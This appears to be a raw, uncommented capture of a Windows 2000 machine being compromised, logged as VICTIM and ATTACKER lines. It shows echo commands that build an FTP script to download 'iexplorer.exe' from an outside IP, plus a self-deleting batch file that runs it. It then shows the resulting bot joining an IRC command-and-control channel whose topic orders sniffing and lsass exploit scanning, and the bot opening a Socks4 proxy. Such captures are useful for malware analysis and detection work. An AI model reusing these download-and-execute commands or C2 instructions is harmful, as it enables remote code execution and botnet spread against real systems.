VICTIM: Microsoft Windows 2000 [Version 5.00.2195] VICTIM: (C) Copyright 1985-2000 Microsoft Corp.C:\\WINNT\\system32> VICTIM: echo open 124.101.247.148 21165>.pif C:\\WINNT\\system32> VICTIM: echo user a a>>.pif C:\\WINNT\\system32> VICTIM: echo binary>>.pif C:\\WINNT\\system32> VICTIM: echo GET iexplorer.exe>>.pif C:\\WINNT\\system32> VICTIM: echo bye>>.pif C:\\WINNT\\system32> VICTIM: echo @echo off >c.batC:\\WINNT\\system32> VICTIM: echo ftp -n -v -s:.pif >>c.batC:\\WINNT\\system32> VICTIM: echo iexplorer.exe >>c.batC:\\WINNT\\system32> VICTIM: echo del .pif >>c.batC:\\WINNT\\system32> VICTIM: echo del /F c.bat >>c.batC:\\WINNT\\system32> VICTIM: echo exit /y >>c.batC:\\WINNT\\system32> ATTACKER: 220 VICTIM: USER a ATTACKER: 331 VICTIM: PASS a ATTACKER: 230 VICTIM: TYPE I ATTACKER: 200 VICTIM: PORT 192,168,1,188,4 ATTACKER: 200 ATTACKER: RETR iexplorer.exe ATTACKER: 150 ATTACKER: 226 VICTIM: QUIT ATTACKER: 221 VICTIM: NICK `udqcfbkpUSER `udqcfbkp 0 0 :`udqcfbkp ATTACKER: :aaa.55560.com 001 `udqcfbkp :time, `udqcfbkp!~udqcfbkp@192.168.1.188:aaa.55560.com 005 `udqcfbkp MAP KNOCK SAFELIST HCN MAXCHANNELS=500 MAXBANS=60 NICKLEN=30 TOPICLEN=307 KICKLEN=307 MAXTARGETS=15 AWAYLEN=307 :are supported by this server:aaa.55560.com 005 `udqcfbkp WALLCHOPS WATCH=128 SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=be,kfL,l,psmntirRcOAQKVGCuzNSMT NETWORK=time CASEMAPPING=ascii EXTBAN=~,cqr :are supported by this server:aaa.55560.com 422 `udqcfbkp :MOTD File is missing:`udqcfbkp MODE `udqcfbkp :+i VICTIM: JOIN #.has hs ATTACKER: :`udqcfbkp!~udqcfbkp@192.168.1.188 JOIN :#.has:aaa.55560.com 332 `udqcfbkp #.has :.join #.k `sniff.on -s |`adv.start lsass 100 3 0 x.x.x.x -r -s:aaa.55560.com 333 `udqcfbkp #.has Hs 1217796182:aaa.55560.com 353 `udqcfbkp @ #.has :`udqcfbkp @sd @Hs :aaa.55560.com 366 `udqcfbkp #.has :End of /NAMES list. VICTIM: USERHOST `udqcfbkpJOIN #.has hsUSERHOST `udqcfbkpJOIN #.has hsUSERHOST `udqcfbkp ATTACKER: :aaa.55560.com 302 `udqcfbkp :`udqcfbkp=+~udqcfbkp@192.168.1.188 :aaa.55560.com 302 `udqcfbkp :`udqcfbkp=+~udqcfbkp@192.168.1.188 :aaa.55560.com 302 `udqcfbkp :`udqcfbkp=+~udqcfbkp@192.168.1.188 VICTIM: PRIVMSG sd :welcome biatch! VICTIM: PRIVMSG sd :[Socks4] Starting Socks4 Proxy on port 45123. ATTACKER: PONG :aaa.55560.com ATTACKER: PONG :aaa.55560.com